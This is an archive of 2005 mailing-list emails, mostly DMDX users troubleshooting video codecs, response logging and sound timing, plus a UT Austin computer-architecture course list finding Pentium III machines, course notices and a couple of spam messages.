*""aqua""/; Thanks again, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Sep 2005 07:03:52 -0700",[DMDX] Re: another video question--long intial latency,"At 11:14 AM 9/30/2005 +0100, you wrote: >Hi, > >Now that I have everything up and running, I'd like to hide the fact that the >videos have a long initial latency by putting a delay onto the other stimuli >(which are .jpg). How would I do that? Or is there a better solution? > >Here's a snippet of my script at the moment: > >+7 ""++"" / / *""bed""/; Well you could take out the 500 ms of blank screen you have before the videos for a start: +7 ""++"" / *""bed""/; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Salary is no object: strive only to keep body and soul apart.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Sep 2005 07:43:25 -0700",[DMDX] Re: video file,"At 11:31 AM 9/30/2005 +0100, you wrote: >Hi Johnathan, > >first off thanks for all the time you put in to helping us out with DMDX. This >is great software and the support is great too. > >Here's the video info from the guy who made them for me: > >___ >I recorded the videos using Camtasia Recorder (version 3.0.2) and edited >them with Camtasia Producer (version 3.0.2). The videos were coded with >the TechSmith Screen Capture Codec (version 2.0.1). > >We have experimented with using 15 and 20 frames/second, and neither of >these have worked. I recall, but did not document, using the Windows >Media Video 9 codec. > >If he'd like us to, I could formally test videos created with several >other codec (ie Intel IYUV, Windows Video 1, and Cinepak). > >___ > >I've attached one of the videos for you to have a look at. My guess is that changing the codec stands a good chance of fixing your problem. I get an error opening the file with TimeDX that indicates there's some extraneous information in there so changing the codec is more than likely going to strip out whatever's causing DMDX to choke. When I get the time I'll have a look in the code to see what it is and make DMDX ignore the extraneous information incase anyone else ever makes a video like the ones you're making. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Salary is no object: strive only to keep body and soul apart. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Sep 2005 10:03:48 -0700",[DMDX] Re: video file,"At 07:43 AM 9/30/2005 -0700, you wrote: > My guess is that changing the codec stands a good chance of fixing your > problem. I get an error opening the file with TimeDX that indicates > there's some extraneous information in there so changing the codec is > more than likely going to strip out whatever's causing DMDX to > choke. When I get the time I'll have a look in the code to see what it > is and make DMDX ignore the extraneous information incase anyone else > ever makes a video like the ones you're making. Yeah, well after looking at the code the answer is definitely use another encoding. The video renderer is telling me that the extraneous information is the video buffer I get my data from and it isn't needed -- which is insane. My guess is that the codec you've used wants to stick the data on the screen itself and that ain't happening in DMDX. Use another codec if you want to use XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The length of a meeting rises with the square of the number of people present. ",0,0 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Fri, 30 Sep 2005 18:24:50 +0100",[DMDX] Re: another video question--long intial latency,"Hi Jonathan, the suggestion you made works, tried that earlier, but it slows my experiment down---I'd like to keep this snappy so my participants don't have time to think really, just react. I tried Andy Wood's suggestion of using the parameter using : > 1024,768,768,32,0> > > > 0 %0 ""other2_short.avi"" / %0 > ""other2_short.avi"" / %0 ""other2_short.avi"" / ""Loading > video""; When I try to run it, all that happens is my desktop is rearranged so that it's 75% of normal size and in the left hand corner and DMDX isn't on the task list. Andy suggested running a syntax check on it before running and I get an error message from Windows saying the program has performed an illegal operation... Any ideas as to what's going on there? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""j.c.f."" : > At 11:14 AM 9/30/2005 +0100, you wrote: > >Hi, > > > >Now that I have everything up and running, I'd like to hide the fact that > the > >videos have a long initial latency by putting a delay onto the other > stimuli > >(which are .jpg). How would I do that? Or is there a better solution? > > > >Here's a snippet of my script at the moment: > > > >+7 ""++"" / / *""bed""/; > > > Well you could take out the 500 ms of blank screen you have before the > videos for a start: > > +7 ""++"" / *""bed""/; > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Salary is no object: strive only to keep body and soul apart. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Sep 2005 12:59:01 -0700",[DMDX] Re: another video question--long intial latency,"At 06:24 PM 9/30/2005 +0100, you wrote: >Hi Jonathan, > >the suggestion you made works, tried that earlier, but it slows my experiment >down---I'd like to keep this snappy so my participants don't have time to >think >really, just react. You won't be able to get rid of that lag, it's part of the codec. Use another codec. Use uncompressed AVI files if you want the fastest video (but of course the biggest files). >I tried Andy Wood's suggestion of using the parameter using : wouldn't trim much off the initial lag but it will save something. > > > 1024,768,768,32,0> > > > > > > 0 %0 ""other2_short.avi"" / %0 > > ""other2_short.avi"" / %0 ""other2_short.avi"" / ""Loading > > video""; > >When I try to run it, all that happens is my desktop is rearranged so that >it's >75% of normal size and in the left hand corner and DMDX isn't on the task >list. > >Andy suggested running a syntax check on it before running and I get an error >message from Windows saying the program has performed an illegal operation... > >Any ideas as to what's going on there?\\ It's an evil codec and it's crashing the machine. If you open the video in the media player and move the window around you can see that the last image stays in the same place, it doesn't move with the media player window. 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",0,0 REMexport ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 01 Oct 2005 00:00:49 -0700",Export to Japan,Japan Importers Databank   Remove me,1,1 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Sat, 01 Oct 2005 12:09:09 +0100",[DMDX] Re: another video question--long initial latency,"Hi, initial lag problem solved!!! Johnathan's suggestion of changing the codec worked--now using Microsoft Video 1 as opposed to Techsmith. We also changed the color from 16bit 256 colors. So now we have no lag and didn't even need to use the parameter. Thanks very much to Andy and Johnathan for all their help! Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""Jonathan C. Forster"" : > At 06:24 PM 9/30/2005 +0100, you wrote: > >Hi Jonathan, > > > >the suggestion you made works, tried that earlier, but it slows my > experiment > >down---I'd like to keep this snappy so my participants don't have time to > >think > >really, just react. > > You won't be able to get rid of that lag, it's part of the codec. Use > another codec. Use uncompressed AVI files if you want the fastest video > (but of course the biggest files). > > >I tried Andy Wood's suggestion of using the parameter using : > > wouldn't trim much off the initial lag but it will save > something. > > > > > > 1024,768,768,32,0> > > > > > > > > > 0 %0 ""other2_short.avi"" / %0 > > > ""other2_short.avi"" / %0 ""other2_short.avi"" / ""Loading > > > video""; > > > >When I try to run it, all that happens is my desktop is rearranged so that > >it's > >75% of normal size and in the left hand corner and DMDX isn't on the task > >list. > > > >Andy suggested running a syntax check on it before running and I get an > error > >message from Windows saying the program has performed an illegal > operation... > > > >Any ideas as to what's going on there?\\ > > It's an evil codec and it's crashing the machine. If you open the video > in the media player and move the window around you can see that the last > image stays in the same place, it doesn't move with the media player > window. Use another codec. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The length of a meeting rises with the square of the number of > people present. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 01 Oct 2005 05:23:33 -0700",[DMDX] Re: another video question--long initial latency,"At 12:09 PM 10/1/2005 +0100, you wrote: >Hi, > >initial lag problem solved!!! > >Johnathan's suggestion of changing the codec worked--now using Microsoft >Video 1 >as opposed to Techsmith. > >We also changed the color from 16bit 256 colors. > > >So now we have no lag and didn't even need to use the parameter. And I'll bet it works under XP too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HP had a unique policy of allowing its engineers to take parts from stock as long as they built something. ""They figured that with every design, they were getting a better engineer. It's a policy I urge all companies to adopt."" - Apple co-founder Steve Wozniak, ""Will Wozniak's class give Apple to teacher?"" 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Have a great week! -Eric Sorenson",0,0 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Mon, 03 Oct 2005 00:00:01 -0400",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 10/5/2005 to submit or make changes to your guest list for the game against Arizona. To make changes, please go to http://www.playerguest.com. ",0,1 PlayerGuest ,vmayer@gladstone.uoregon.edu,"Mon, 03 Oct 2005 00:00:01 -0400",Ticket Lockout,"TO: Valerie Mayer This is a reminder that you have until 10/5/2005 to submit or make changes to your guest list for the game against Arizona State. To make changes, please go to http://www.playerguest.com. ",0,1 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 11:12:01 -0500","[CS382M:9] Clarification on HW#2, Problem 7b","Feel free to use cc (the Sun compiler) instead of gcc to compile your program on solaris. It should be on your path. $ which cc /opt/SUNWspro/bin/cc Kartik ",0,0 ravi gupta ,cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 17:47:29 +0000","[CS382M:10] RE: Clarification on HW#2, Problem 7b","Hi Kartik, For some reason I am unable to find a P3 machine thats public, can you please name a machine for me ? Thanks, -Ravi >From: ""Kartik K. Agaram"" >Reply-To: cs382m@lists.cc.utexas.edu >To: cs382m@lists.cc.utexas.edu >Subject: [CS382M:9] Clarification on HW#2, Problem 7b >Date: Mon, 3 Oct 2005 11:12:01 -0500 (CDT) >MIME-Version: 1.0 >Received: from iceman.cc.utexas.edu ([146.6.71.66]) by mc11-f35.hotmail.com >with Microsoft SMTPSVC(6.0.3790.211); Mon, 3 Oct 2005 09:12:22 -0700 >Received: from localhost (localhost [127.0.0.1])by iceman.cc.utexas.edu >(8.12.11/8.12.11/cc-lists.mc-1.33) with SMTP id j93GC8RQ019724;Mon, 3 Oct >2005 11:12:17 -0500 (CDT) >Received: from ironman.mail.utexas.edu (ironman.mail.utexas.edu >[128.83.32.51])by iceman.cc.utexas.edu (8.12.11/8.12.11/cc-lists.mc-1.33) >with ESMTP id j93GC1P2019703for ; Mon, 3 Oct >2005 11:12:01 -0500 (CDT) >Received: from nobodaddy.cs.utexas.edu (128.83.120.154) by >ironman.mail.utexas.edu with ESMTP; 03 Oct 2005 11:12:01 -0500 >Received: from lutie.cs.utexas.edu (akkartik@lutie.cs.utexas.edu >[128.83.120.83])by nobodaddy.cs.utexas.edu (8.13.5/8.13.5) with ESMTP id >j93GC1b8026801(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 >verify=NO)for ; Mon, 3 Oct 2005 11:12:01 -0500 >(CDT) >Received: (from akkartik@localhost)by lutie.cs.utexas.edu >(8.13.5/8.13.5/Submit) id j93GC1tq009795;Mon, 3 Oct 2005 11:12:01 -0500 >X-Message-Info: JGTYoYF78jGo2WUVf4476UpMVWowjZLGsQT2BFRH0UE= >X-IronPort-MID: 1739607910 >X-SBRS: 4.2 >X-BrightmailFiltered: true >X-Brightmail-Tracker: AAAAAA== >X-Ironport-AV: i=""3.97,169,1125896400""; d=""scan'208""; >a=""1739607910:sNHT12517784"" >X-Listprocessor-Version: 8.2.10/020311/17:52 -- ListProc(tm) by CREN >Return-Path: owner-cs382m@lists.cc.utexas.edu >X-OriginalArrivalTime: 03 Oct 2005 16:12:22.0380 (UTC) >FILETIME=[3C8072C0:01C5C835] > >Feel free to use cc (the Sun compiler) instead of gcc to compile your >program on solaris. It should be on your path. > >$ which cc >/opt/SUNWspro/bin/cc > >Kartik >",0,0 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 13:12:58 -0500",[CS382M:11] trouble finding a pentium III you can access?,"It turns out Xeons are just Pentium IIIs with a larger cache. Use those. Kartik $ for i in `cshosts publinux`; do echo ===$i; ssh $i cat /proc/cpuinfo; done |grep -i ""===\\|xeon"" ===antones ===archeologist ===backroom ===backyard ===baluchitherium ===beerland ===black model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===blindfold ===bollard ===boom ===booze ===brokenspoke ===bubble model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===bugbear ===bulkhead ===cactuscafe ===can-of-grease ===capstan ===carousel ===cobra ===cofferdam ===continental ===cream-pie ===darjeeling model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===davit ===deadeye ===deadrise ===dilithium-crystal ===doppelganger ===drawbridge ===earl-gray model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===elysium ===emos ===fidleyhutch ===figurehead ===fountain ===galley ===gangway ===genmai model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===grayswandir ===green model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===green-slime ===gunwale ===halyard ... =eof ",0,0 Kazushige Goto ,cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 13:27:06 -0500",[CS382M:12] RE: trouble finding a pentium III you can access?,"Hello, These machines are Pentium4 based, not Pentium3. Could you try following script? $ for i in `cshosts publinux`; do echo ===$i; ssh $i cat /proc/cpuinfo; done |grep -i ""===\\|coppermine"" Thanks, Kazushige Goto -----Original Message----- From: owner-cs382m@lists.cc.utexas.edu 代理 Kartik K. Agaram Sent: 2005/10/03 (月) 13:12 To: cs382m@lists.cc.utexas.edu Subject: [CS382M:11] trouble finding a pentium III you can access? It turns out Xeons are just Pentium IIIs with a larger cache. Use those. Kartik $ for i in `cshosts publinux`; do echo ===$i; ssh $i cat /proc/cpuinfo; done |grep -i ""===¥|xeon"" ===antones ===archeologist ===backroom ===backyard ===baluchitherium ===beerland ===black model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===blindfold ===bollard ===boom ===booze ===brokenspoke ===bubble model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===bugbear ===bulkhead ===cactuscafe ===can-of-grease ===capstan ===carousel ===cobra ===cofferdam ===continental ===cream-pie ===darjeeling model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===davit ===deadeye ===deadrise ===dilithium-crystal ===doppelganger ===drawbridge ===earl-gray model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===elysium ===emos ===fidleyhutch ===figurehead ===fountain ===galley ===gangway ===genmai model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===grayswandir ===green model name : Intel(R) XEON(TM) CPU 1.80GHz model name : Intel(R) XEON(TM) CPU 1.80GHz ===green-slime ===gunwale ===halyard ... =eof ",0,0 rtroxel@uoregon.edu,rtroxel@uoregon.edu,"Mon, 03 Oct 2005 13:48:08 -0700","Real Player ""stalling.""","Several of you have noticed that the first video stalls a little over halfway through the presentation. This happens on some machines. Try moving the ""slider button"" forward and then backward. This often frees up the player.",0,0 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 14:38:01 -0500",[CS382M:13] Re: trouble finding a pentium III you can access?,"Except that the newer Xeons are Pentium IVs with a larger cache. I'd be a little suspicious about a 1.80 GHz Xeon since I'm not aware of Pentium III based processors exceeding 1.4 GHz.... - Jeff Kartik K. Agaram wrote: > It turns out Xeons are just Pentium IIIs with a larger cache. Use those. > > Kartik > > $ for i in `cshosts publinux`; do echo ===$i; ssh $i cat > /proc/cpuinfo; done |grep -i ""===\\|xeon"" > ===antones > ===archeologist > ===backroom > ===backyard > ===baluchitherium > ===beerland > ===black > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===blindfold > ===bollard > ===boom > ===booze > ===brokenspoke > ===bubble > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===bugbear > ===bulkhead > ===cactuscafe > ===can-of-grease > ===capstan > ===carousel > ===cobra > ===cofferdam > ===continental > ===cream-pie > ===darjeeling > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===davit > ===deadeye > ===deadrise > ===dilithium-crystal > ===doppelganger > ===drawbridge > ===earl-gray > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===elysium > ===emos > ===fidleyhutch > ===figurehead > ===fountain > ===galley > ===gangway > ===genmai > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===grayswandir > ===green > model name : Intel(R) XEON(TM) CPU 1.80GHz > model name : Intel(R) XEON(TM) CPU 1.80GHz > ===green-slime > ===gunwale > ===halyard > ... > =eof > > > ",0,0 Mark Gebhart ,cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 15:03:16 -0500",[CS382M:14] Re: trouble finding a pentium III you can access?," bowmore.cs.utexas.edu has a PIII: bowmore.cs.utexas.edu% more /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 7 model name : Pentium III (Katmai) stepping : 3 cpu MHz : 598.506 cache size : 512 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 2 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat pse36 mmx fxsr sse bogomips : 1192.75 On Mon, 3 Oct 2005, Jeff Diamond wrote: > Except that the newer Xeons are Pentium IVs with a larger cache. I'd be a > little suspicious about a 1.80 GHz Xeon since I'm not aware of Pentium III > based processors exceeding 1.4 GHz.... > - Jeff > > Kartik K. Agaram wrote: > >> It turns out Xeons are just Pentium IIIs with a larger cache. Use those. >> >> Kartik >> >> $ for i in `cshosts publinux`; do echo ===$i; ssh $i cat /proc/cpuinfo; >> done |grep -i ""===\\|xeon"" >> ===antones >> ===archeologist >> ===backroom >> ===backyard >> ===baluchitherium >> ===beerland >> ===black >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===blindfold >> ===bollard >> ===boom >> ===booze >> ===brokenspoke >> ===bubble >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===bugbear >> ===bulkhead >> ===cactuscafe >> ===can-of-grease >> ===capstan >> ===carousel >> ===cobra >> ===cofferdam >> ===continental >> ===cream-pie >> ===darjeeling >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===davit >> ===deadeye >> ===deadrise >> ===dilithium-crystal >> ===doppelganger >> ===drawbridge >> ===earl-gray >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===elysium >> ===emos >> ===fidleyhutch >> ===figurehead >> ===fountain >> ===galley >> ===gangway >> ===genmai >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===grayswandir >> ===green >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> model name : Intel(R) XEON(TM) CPU 1.80GHz >> ===green-slime >> ===gunwale >> ===halyard >> ... >> =eof >> >> >> > ",0,0 Rafi Muhanna ,reliable computing ,"Mon, 03 Oct 2005 16:11:18 -0400",REC'06-The Second Workshop on Reliable Engineering Computing-REMINDER,"This is a reminder! Announcement is attached. Dear Colleagues: CALL FOR PAPERS The Second workshop on Reliable Engineering Computing Georgia Institute of Technology February 22-24, 2006 | Savannah, Georgia, USA Across all branches of engineering, computational methods share the need for reliable results. Reliability can be achieved only if all sources of errors, approximations, and uncertainty are accounted for. This workshop is unique in combining computer science, mathematics, and engineering analysis and design to discuss the reliability of engineering computations, providing a common forum by which to continue cross-disciplinary advisements in the field. Participants are expected to submit papers that will be published in the workshop proceedings and also will be available online from the workshop web site. After the workshop, selected papers will be published in a special issue(s) of Reliable Computing journal. The papers will go through the normal refereeing process. Workshop website: http://www.gtsav.gatech.edu/workshop/rec06/index.html Topics include but not limited to: - Measurement of reliability of algorithms and computations; - Integration of various sources of errors in engineering calculations; - Integrating uncertainty into analysis and design. Deadlines: October 15, 2005: deadline for abstract submission November 01, 2005: notification of acceptance January 15, 2006: deadline for paper submission For more information, please contact Prof. Muhanna Email: rec@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928 Honorary Co-Chairmen Ramon E. Moore Eldon R. Hansen Ivo Babuška Chairman: Rafi L. Muhanna, Georgia Institute of Technology Co-Chairman: Robert L. Mullen, Case Western Reserve University Scientific Committee: Götz Alefeld, University of Karlsruhe Daniel Berleant, Iowa State University David Bogle, University College London George Corliss, Marquette University William Edmonson, North Carolina State University Michael Elderd, Sandia National Laboratories Scott Ferson, Applied Biomathematics Roger Ghanem, Johns Hopkins University Raphael Haftka, University of Florida Baker Kearfott, University of Louisiana at Lafayette Vladik Kreinovich, University of Texas at El Paso Zissimos Mourelatos, Oakland University Bernd Möller, Dresden University of Technology Arnold Neumaier, University of Vienna, Austria Efstratios Nikolaidis, University of Toledo Siegfried Rump, Technical University of Hamburg, Harburg Pol Spanos, Rice University Mark Stadtherr, University of Notre Dame William Walster, Sun Microsystems Steve Wojtkiewicz, University of Minnesota Sponsors: Georgia Institute of Technology. Other sponsors will be announced in the future Coordination of the event is being provided by the Center for Reliable Engineering Computing at Georgia Tech Savannah. Sincerely, Rafi Muhanna and Bob Mullen _________________________________________________________________________________________ Rafi L. Muhanna Director, Center for Reliable Engineering Computing (REC) School of Civil & Environmental Engineering Georgia Institute of Technology, Savannah 210 Technology Circle Savannah, GA 31407-3038 USA Email: rafi.muhanna@gtrep.gatech.edu Phone: (912) 966-7931 Fax: (912) 966-7928",0,1 minson@uoregon.edu,minson@uoregon.edu,"Mon, 03 Oct 2005 15:52:58 -0700",Next Set of Notes....VO2 and limitations,"Hi everyone! I hope you all had a great weekend and were able to enjoy the Eugene Celebration despite the weather. I have posted the second set of notes on Blackboard under Course Documents. This will be for the next 2-3 lectures. See you Wednesday!",0,0 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 16:12:57 -0500",[CS382M:15] HW#2: Another clarification for Problem 7b,"On solaris psrinfo is at /usr/sbin/psrinfo Kartik ",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Mon, 03 Oct 2005 21:06:43 -0500",[CS382M:16] course schedule,"CS382m-ers, Don't forget to check the updates to the on-line course schedule: http://www.cs.utexas.edu/users/skeckler/cs382m/schedule.shtml Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Ben Gallagher ,DMDX@psy1.psych.arizona.edu,"Tue, 04 Oct 2005 18:54:24 +0100",[DMDX] Multiple Clockons,"Hey, Quick question. Is there a way of getting multiple clockons for one item? I am writing a program that requires the participant to press multiple keys for each item. At the moment I use the variablegrouping command, and then multiple items each starting with a clockon symbol. However, there is a delay between each item, which means I don't get the response times that I would normally achieve if they were free to press the keys when they liked. Is there any way I can get around this. Below is part of the code I have been writing. The bmp pictures need to stay because the program is for children, so they need to have something nice to look at (in this case it is a duck called 'Isaac'). $ 0 ""scene1""; 0 ""scene2""; 0 ""scene3""; 0 ""scene4"";$ +101 ""main"" / ""2"" / ""4"" / ""8"" / ""5"" / * ""go"", ""1""; +102 * ""go"", ""2""; +103 * ""go"", ""3""; +104 * ""go"", ""4""; 105 ""thank1"" /!; +201 ""main"" / ""3"" / ""5"" / ""2"" / ""7"" / * ""go"", ""1""; +202 * ""go"", ""2""; +203 * ""go"", ""3""; +204 * ""go"", ""4""; 205 ""thank2""; Thanks Ben",0,0 Aline ,emma@smtp.uoregon.edu,"Tue, 04 Oct 2005 06:06:52 -0500",Aline trying to contact you. buttondown," Monica sharing favourite place http://69xanthein.info >>> 1253275 between ubles unding >>> endprolog daggers findungen into ngpf ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 04 Oct 2005 12:58:16 -0700",[DMDX] Re: Multiple Clockons,"At 06:54 PM 10/4/2005 +0100, you wrote: >Hey, > >Quick question. Is there a way of getting multiple clockons for one item? Yes, use the zillion responses. > I >am writing a program that requires the participant to press multiple keys >for each item. At the moment I use the variablegrouping command, and then >multiple items each starting with a clockon symbol. However, there is a >delay between each item, which means I don't get the response times that I >would normally achieve if they were free to press the keys when they liked. Try . >Is there any way I can get around this. Below is part of the code I have >been writing. The bmp pictures need to stay because the program is for >children, so they need to have something nice to look at (in this case it is >a duck called 'Isaac'). You can use instead of , however will take as many responses as are made before the timeout. My bet is is what you want. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The length of a meeting rises with the square of the number of people present.",0,0 cherr@uoregon.edu,cherr@uoregon.edu,"Tue, 04 Oct 2005 14:20:10 -0700",Quiz Score -SPED 411/511,"Remember, you may take each quiz as many times as you like in order to earn the maximum 10 points. If you took Quiz 1 and score less than 8 points, I strongly encourage you to retake the quiz before the deadline on Thursday (5 pm). Cindy",0,0 Ben Gallagher ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Oct 2005 13:54:12 +0100",[DMDX] Re: Multiple Clockons,"Thanks Jonathan that really helped. I just have one more question (hopefully). Is there a way I can see what response the participant gave to each item on the output file? It is too difficult for me to make a note on whether they gave a correct response while they are doing the experiment, so it would be nice if I could see what response they made later. There are 8 possible responses to each item: 'a' 's' 'd' 'f' 'h' 'j' 'k' and 'l'. I presume it is something to do with zil - but when I tried it all I got was the item number and their reaction time. Thanks Ben ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Wed, 05 Oct 2005 09:53:53 -0400",[DMDX] Re: Multiple Clockons,"Ben, the zil output file should be recording the button that was pressed. I recently ran an experiment with with 7 different possible responses (mapped with ) and the output looks like this: Item 40, 3670.82 3670.82,+6 don't know why the RT gets recorded twice, but the ""+6"" is the button that the subject pressed. hopefully that helps Matthew ----- Original Message ----- From: ""Ben Gallagher"" To: Sent: Wednesday, October 05, 2005 8:54 AM Subject: [DMDX] Re: Multiple Clockons > Thanks Jonathan that really helped. I just have one more question > (hopefully). > > Is there a way I can see what response the participant gave to each item > on > the output file? It is too difficult for me to make a note on whether they > gave a correct response while they are doing the experiment, so it would > be > nice if I could see what response they made later. > > There are 8 possible responses to each item: 'a' 's' 'd' 'f' 'h' 'j' 'k' > and > 'l'. I presume it is something to do with zil - but when I tried it all I > got was the item number and their reaction time. > > Thanks > > Ben > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Thanks for your help. Ian Kristopher Ian Mathis, M.A. Graduate Student, Clinical Psychology Dept. of Psychology, UCLA",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 05 Oct 2005 20:40:00 -0700",[DMDX] Re: output latency,"At 07:42 PM 10/5/2005 -0700, you wrote: >Hi list. >I have a question about the timing of outputs in a frame. > >I am presenting white noise probes of 50 ms duration and sending a >corresponding trigger code to the data acquisition computer using DMDX. The >measured latencies of the physiological responses we are getting don't >really make sense, and I am trying to figure out what's going on. > >Here is a line that presents the probe and sends the output: >2 o8 ""6510"" / o96 ""wnprobe""/; > >As far as I can tell, the output of ""96"" is sent at the onset of the wav >""wnprobe."" Is this correct? No, sound frames are completely different beasts as they have no visual component and durations in DMDX are durations of visual components. >Our data seems to imply that the output might be coming after the probe is >played, but that doesn't make sense to me. No doubt it doesn't make any sense but it's all documented in the sound section of the help. There were two interesting cases when I added sound to DMDX and unfortunately I chose the technically correct and logical one to be the default which is of course not what anyone wants to do so you and almost everyone else need in the frame with the sound in it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ HP had a unique policy of allowing its engineers to take parts from stock as long as they built something. ""They figured that with every design, they were getting a better engineer. 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With warm regards Dr.M.V.Rama Rao Assistant Professor, Department of Civil Engineering, Vasavi College of Engineering, Hyderabad-500031 INDIA --------------------------------- Yahoo! for Good Click here to donate to the Hurricane Katrina relief effort. ",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Oct 2005 08:34:48 -0500",[DMDX] Re: output latency,"Ian, I am assuming that you are measuring startle. The svp start that Jonathan indicated will synch up the request to play the sound with the output. However, you should also know that in our testing, sound cards varied quite dramatically in how long the delay was between that request and the actual start of the sound (in your case the noise probe). Perhaps more troubling, for some cards, that delay was not only long, but quite variable trial to trial ( e.g., range from 4 - 20 ms for one card), which would really screw up your ability to measure startle latency if you care about it (and your ability to average startle waveforms if you reduce startle that way). You can test this most easily for you card by sending the output of your sound card to an analog channel on your 